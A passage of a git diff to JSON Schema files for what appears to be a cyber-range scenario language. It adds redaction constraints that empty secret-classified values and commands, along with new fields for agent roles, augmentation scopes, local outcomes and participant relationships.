"^[Ee][Xx][Pp][Ee][Cc][Tt][Ee][Dd][_-][Aa][Bb][Ss][Ee][Nn][Tt]$" + } + }, + "required": [ + "presence" + ] + }, "properties": { "content_digest": { "default": "", @@ -18296,6 +19146,58 @@ "required": [ "path" ], + "then": { + "properties": { + "content_digest": { + "enum": [ + "", + null + ] + }, + "digest_algorithm": { + "enum": [ + "", + null + ] + }, + "gid": { + "enum": [ + "", + null + ] + }, + "mode": { + "enum": [ + "", + null + ] + }, + "owner_group": { + "enum": [ + "", + null + ] + }, + "owner_user": { + "enum": [ + "", + null + ] + }, + "size": { + "enum": [ + "", + null + ] + }, + "uid": { + "enum": [ + "", + null + ] + } + } + }, "title": "RuntimeFilesystemEntry", "type": "object" }, @@ -18737,6 +19639,25 @@ "RuntimeForwardingSetting": { "additionalProperties": false, "description": "An observed forwarding-agent runtime setting with provenance and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -18805,6 +19726,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeForwardingSetting", "type": "object" }, @@ -19092,6 +20026,25 @@ "RuntimeIdentityAttribute": { "additionalProperties": false, "description": "Observed identity attribute or bounded setting.\n\nSecret-bearing names must not carry raw values. This keeps directory\npasswords, Kerberos keys, keytabs, tokens, and client secrets out of\nfixtures, diagnostics, schemas, and generated runtime artifacts.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -19170,6 +20123,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "values": { + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ] + } + }, "title": "RuntimeIdentityAttribute", "type": "object" }, @@ -19759,6 +20725,24 @@ "RuntimeInitProcess": { "additionalProperties": false, "description": "Required backend-injected container init / PID-1 reaper configuration.\n\nModels authored container runtime intent \u2014 for example Docker Compose\n``init: true`` causing PID 1 to be ``/sbin/docker-init`` (tini). This is\ndistinct from the observed PID-1 process recorded in\n``runtime.processes``; see ADR-027.", + "if": { + "properties": { + "argv_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "argv_redacted" + ] + }, "properties": { "argv": { "items": { @@ -19846,6 +20830,13 @@ "title": "Reaps Children" } }, + "then": { + "properties": { + "argv": { + "maxItems": 0 + } + } + }, "title": "RuntimeInitProcess", "type": "object" }, @@ -21210,6 +22201,25 @@ "RuntimeMailSetting": { "additionalProperties": false, "description": "A mail-service runtime setting with source/provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -21294,6 +22304,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeMailSetting", "type": "object" }, @@ -23986,6 +25009,25 @@ "RuntimePlatformApplicationSetting": { "additionalProperties": false, "description": "An observed platform setting with provenance and sensitivity.\n\nExplicitly redacted/operator-secret settings must omit their raw ``value``.\nA setting name does not by itself redact SDL scenario content.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -24062,6 +25104,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimePlatformApplicationSetting", "type": "object" }, @@ -24434,7 +25489,36 @@ "title": "Soft" }, "subject": { - "$ref": "#/$defs/RuntimeProcessIdentity" + "$ref": "#/$defs/RuntimeProcessIdentity", + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxItems": 0 + } + } + } + } + ] } }, "required": [ @@ -26187,6 +27271,25 @@ "RuntimeSecurityMonitoringSetting": { "additionalProperties": false, "description": "A bounded manager setting with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -26271,6 +27374,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeSecurityMonitoringSetting", "type": "object" }, @@ -26304,7 +27420,7 @@ }, "RuntimeServiceListener": { "additionalProperties": false, - "description": "Observed generic runtime listener attached to a node.", + "description": "Possibly partial runtime listener description attached to a node.\n\nOnly ``service_listener_id`` is universally required. Supplied facts are\nvalidated for bounds and contradictions, but missing endpoint facts are\nnot fabricated or rejected at this descriptive boundary.", "properties": { "address": { "default": "", @@ -27261,6 +28377,24 @@ "RuntimeSudoRule": { "additionalProperties": false, "description": "An observed sudo/sudoers privilege grant.\n\nThe portable model is the structured principal/run-as/command scope.\n``raw_entry`` may carry the original sudoers line only as optional\ndescriptive evidence; ``command_redacted`` marks a rule whose command\nscope was withheld because it carried sensitive arguments.", + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, "properties": { "command_redacted": { "anyOf": [ @@ -27373,6 +28507,13 @@ "required": [ "principal" ], + "then": { + "properties": { + "commands": { + "maxItems": 0 + } + } + }, "title": "RuntimeSudoRule", "type": "object" }, @@ -27585,6 +28726,80 @@ }, "ServiceManagerUnit": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "manager_kind": { + "pattern": "^[sS][yY][sS][tT][eE][mM][dD]$" + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "unit_name": { + "pattern": "^[^\\s]+\\.[^\\s]+$" + } + } + } + }, + { + "if": { + "properties": { + "manager_kind": { + "anyOf": [ + { + "pattern": "^(?:[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN])$" + }, + { + "pattern": "^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$" + } + ] + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "active_state": { + "const": "unknown" + }, + "enabled_state": { + "const": "unknown" + }, + "exec_start": { + "const": null + }, + "exit_code": { + "const": null + }, + "load_state": { + "const": "unknown" + }, + "main_pid": { + "const": null + }, + "result": { + "const": "unknown" + }, + "status_text": { + "const": "" + }, + "sub_state": { + "const": "" + }, + "unit_type": { + "const": "other" + } + } + } + } + ], "description": "Observed service-manager unit state on a realized range node.\n\nEach record carries a stable RAES ``unit_id`` (the reference target), the\nnative ``unit_name`` (e.g. ``sshd.service``), the participant-observable\nlifecycle facts captured by ``systemctl`` (load/active/sub/enabled/result),\nand bounded optional evidence: the unit-file path, an ``ExecStart``\ndescriptor with explicit redaction discipline, the main PID when present,\nand an optional same-node ``Node.services[]`` ref.\n\nThis is observed WHAT-IS state, not provisioning intent or authored\nbehavior; see ADR-035 for the boundary against ``Node.services``,\n``conditions``, ``runtime.processes``, ``runtime.container.init_process``,\n``runtime.operational_policy``, and ``runtime.ssh_servers``.", "properties": { "active_state": { @@ -27762,9 +28977,11 @@ "type": "string" }, "unit_name": { + "default": "", "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" }, + "pattern": "^\\S+$", "title": "Unit Name", "type": "string" }, @@ -27786,8 +29003,7 @@ } }, "required": [ - "unit_id", - "unit_name" + "unit_id" ], "title": "ServiceManagerUnit", "type": "object" @@ -28143,6 +29359,69 @@ }, "ServiceUnitExecStart": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed service-manager ``ExecStart`` configuration.\n\nMirrors the SSH ``ForcedCommand`` redaction discipline (ADR-031): the\n``command_kind`` discriminates how ``command`` is interpreted, and\n``command_redacted=True`` forces ``command`` empty and\n``command_kind=redacted``. The model never carries raw secret-bearing\nargv -- if the underlying ``ExecStart=`` includes credentials, tokens, or\noperator-only arguments, the surface stores only the redacted shape.", "properties": { "command": { @@ -28486,6 +29765,69 @@ }, "SshForcedCommand": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed sshd ``ForceCommand`` configuration.\n\nThe ``command_kind`` discriminates how ``command`` is interpreted:\n\n- ``absolute_path``: a concrete executable path (or ``${var}``) starting\n with ``/``. Validated via ``absolute_path_or_var``.\n- ``internal_sftp``: the sshd-internal sftp subsystem; ``command`` must\n equal the literal ``\"internal-sftp\"``.\n- ``redacted``: the underlying command is withheld from the SDL model\n because it carries secrets, session identifiers, or operator-only\n arguments; ``command`` must be empty and ``command_redacted`` must\n be true.", "properties": { "command": { diff --git a/contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json b/contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json index 85e0bbdbf..9954ee595 100644 --- a/contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json +++ b/contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json @@ -434,7 +434,7 @@ }, "Agent": { "additionalProperties": false, - "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``entity`` links to the entities section (team/role) and supplies\n identity and role per ADR-020\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", + "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``affiliations`` links to entities without conferring identity or authority\n- ``role`` explicitly selects an exercise role, overriding inherited role\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", "properties": { "actions": { "items": { @@ -446,6 +446,16 @@ "title": "Actions", "type": "array" }, + "affiliations": { + "items": { + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + "title": "Affiliations", + "type": "array" + }, "allowed_subnets": { "items": { "not": { @@ -474,14 +484,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Entity", - "type": "string" - }, "initial_knowledge": { "anyOf": [ { @@ -530,6 +532,18 @@ "title": "Operating Scope", "type": "array" }, + "role": { + "anyOf": [ + { + "$ref": "#/$defs/ExerciseRole" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Role" + }, "starting_accounts": { "items": { "not": { @@ -1258,6 +1272,75 @@ "title": "AssetValueLevel", "type": "string" }, + "AugmentationScopePolicy": { + "additionalProperties": false, + "description": "Authors opt into restrictions; omission imposes no new authoring burden.", + "properties": { + "default": { + "default": "open", + "enum": [ + "open", + "closed" + ], + "title": "Default", + "type": "string" + }, + "scopes": { + "default": [], + "items": { + "$ref": "#/$defs/AugmentationScopeRule" + }, + "maxItems": 256, + "title": "Scopes", + "type": "array" + } + }, + "title": "AugmentationScopePolicy", + "type": "object" + }, + "AugmentationScopeRule": { + "additionalProperties": false, + "description": "One explicit node or concern permission, using a semantic address.", + "properties": { + "namespace": { + "default": [], + "items": { + "maxLength": 64, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)$", + "type": "string" + }, + "maxItems": 31, + "title": "Namespace", + "type": "array" + }, + "permission": { + "enum": [ + "open", + "closed" + ], + "title": "Permission", + "type": "string" + }, + "scope": { + "maxLength": 4096, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "^(?:/(?:[^~/]|~[01])*)*$", + "title": "Scope", + "type": "string" + } + }, + "required": [ + "scope", + "permission" + ], + "title": "AugmentationScopeRule", + "type": "object" + }, "AuthorRealizationPosture": { "description": "Authored default posture, distinct from capability support modes.", "enum": [ @@ -2435,6 +2518,25 @@ "DatabaseSetting": { "additionalProperties": false, "description": "An observed database runtime setting with provenance and sensitivity.\n\nExplicit ``redacted``/``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -2495,6 +2597,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DatabaseSetting", "type": "object" }, @@ -3183,6 +3298,25 @@ "DnsRuntimeSetting": { "additionalProperties": false, "description": "Bounded DNS runtime setting with provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -3243,6 +3377,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DnsRuntimeSetting", "type": "object" }, @@ -5591,6 +5738,25 @@ "ImageBuildArg": { "additionalProperties": false, "description": "An observed build argument with value-sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -5635,6 +5801,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageBuildArg", "type": "object" }, @@ -5754,6 +5933,25 @@ "ImageEnvironmentDefault": { "additionalProperties": false, "description": "An image-default environment variable with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -5798,6 +5996,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageEnvironmentDefault", "type": "object" }, @@ -6200,6 +6411,18 @@ "title": "Assertions", "type": "object" }, + "augmentation_scope": { + "anyOf": [ + { + "$ref": "#/$defs/AugmentationScopePolicy" + }, + { + "type": "null" + } + ], + "default": null, + "x-raes-realization-dimension": false + }, "behavior_specifications": { "additionalProperties": { "$ref": "#/$defs/ParticipantBehaviorSpecification" @@ -6872,6 +7095,108 @@ "title": "KernelBoundary", "type": "string" }, + "LocalOutcomeCriterion": { + "additionalProperties": false, + "description": "An explicitly declared realized effect, never an action status shortcut.", + "properties": { + "criterion_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Criterion Id", + "type": "string" + }, + "effect_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Effect Id", + "type": "string" + }, + "source_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Source Id", + "type": "string" + } + }, + "required": [ + "criterion_id", + "source_id", + "effect_id" + ], + "title": "LocalOutcomeCriterion", + "type": "object" + }, + "LocalOutcomeDefinition": { + "additionalProperties": false, + "description": "All criteria must be evidenced; contradictory observations need correction.", + "properties": { + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", + "type": "string" + }, + "conflict_policy": { + "const": "retain_until_explicit_correction", + "title": "Conflict Policy", + "type": "string" + }, + "criteria": { + "items": { + "$ref": "#/$defs/LocalOutcomeCriterion" + }, + "minItems": 1, + "title": "Criteria", + "type": "array" + }, + "criterion_basis": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Criterion Basis", + "type": "string" + }, + "episode_policy": { + "const": "reset_without_transfer", + "title": "Episode Policy", + "type": "string" + }, + "freshness_policy": { + "const": "exact_observation_cut", + "title": "Freshness Policy", + "type": "string" + }, + "model_version": { + "const": "1.0.0", + "title": "Model Version", + "type": "string" + } + }, + "required": [ + "model_version", + "category", + "criterion_basis", + "criteria", + "conflict_policy", + "freshness_policy", + "episode_policy" + ], + "title": "LocalOutcomeDefinition", + "type": "object" + }, "MixedControlAuthorityStatus": { "description": "Authored authority state for one controller binding.", "enum": [ @@ -7720,25 +8045,63 @@ }, "Objective": { "additionalProperties": false, - "description": "A declarative experiment objective.", - "properties": { - "actions": { - "items": { - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "type": "string" + "anyOf": [ + { + "properties": { + "owner": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + } }, - "title": "Actions", - "type": "array" + "required": [ + "owner" + ] }, - "agent": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + { + "properties": { + "assigned_participant": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + } }, - "title": "Agent", - "type": "string" + "required": [ + "assigned_participant" + ] + } + ], + "description": "A declarative experiment objective.", + "properties": { + "actions": { + "items": { + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + "title": "Actions", + "type": "array" + }, + "assigned_participant": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Assigned Participant" }, "depends_on": { "items": { @@ -7758,14 +8121,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Entity", - "type": "string" - }, "name": { "default": "", "not": { @@ -7774,6 +8129,22 @@ "title": "Name", "type": "string" }, + "owner": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Owner" + }, "success": { "$ref": "#/$defs/ObjectiveSuccess" }, @@ -8531,6 +8902,34 @@ }, "OutcomeInterpretationRule": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "target_bindings": { + "minItems": 1 + } + } + }, + "if": { + "properties": { + "local_outcome": { + "type": "object" + } + }, + "required": [ + "local_outcome" + ] + }, + "then": { + "properties": { + "semantic_version": { + "const": "2.0.0" + } + } + } + } + ], "description": "Explicit SEM-215 rule relating participant-local outcomes to meaning layers.", "properties": { "diagnostics": { @@ -8572,6 +8971,17 @@ "title": "Limitations", "type": "array" }, + "local_outcome": { + "anyOf": [ + { + "$ref": "#/$defs/LocalOutcomeDefinition" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_point_basis": { "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" @@ -8601,7 +9011,6 @@ "items": { "$ref": "#/$defs/OutcomeInterpretationTargetBinding" }, - "minItems": 1, "title": "Target Bindings", "type": "array" } @@ -10957,6 +11366,160 @@ "title": "ParticipantPreconditionClass", "type": "string" }, + "ParticipantRelationship": { + "additionalProperties": false, + "description": "Directed authored intent; a declaration never grants operational rights.", + "if": { + "properties": { + "control_specification_ref": { + "type": "string" + } + }, + "required": [ + "control_specification_ref" + ] + }, + "properties": { + "authority_basis_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Authority Basis Refs", + "type": "array", + "uniqueItems": true + }, + "behavior_specification_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Behavior Specification Refs", + "type": "array", + "uniqueItems": true + }, + "control_specification_ref": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Control Specification Ref" + }, + "kind": { + "$ref": "#/$defs/ParticipantRelationshipKind" + }, + "objective_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Objective Refs", + "type": "array", + "uniqueItems": true + }, + "observation_boundary_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Observation Boundary Refs", + "type": "array", + "uniqueItems": true + }, + "scope_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Scope Refs", + "type": "array", + "uniqueItems": true + }, + "source_action_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Source Action Refs", + "type": "array", + "uniqueItems": true + }, + "target_action_refs": 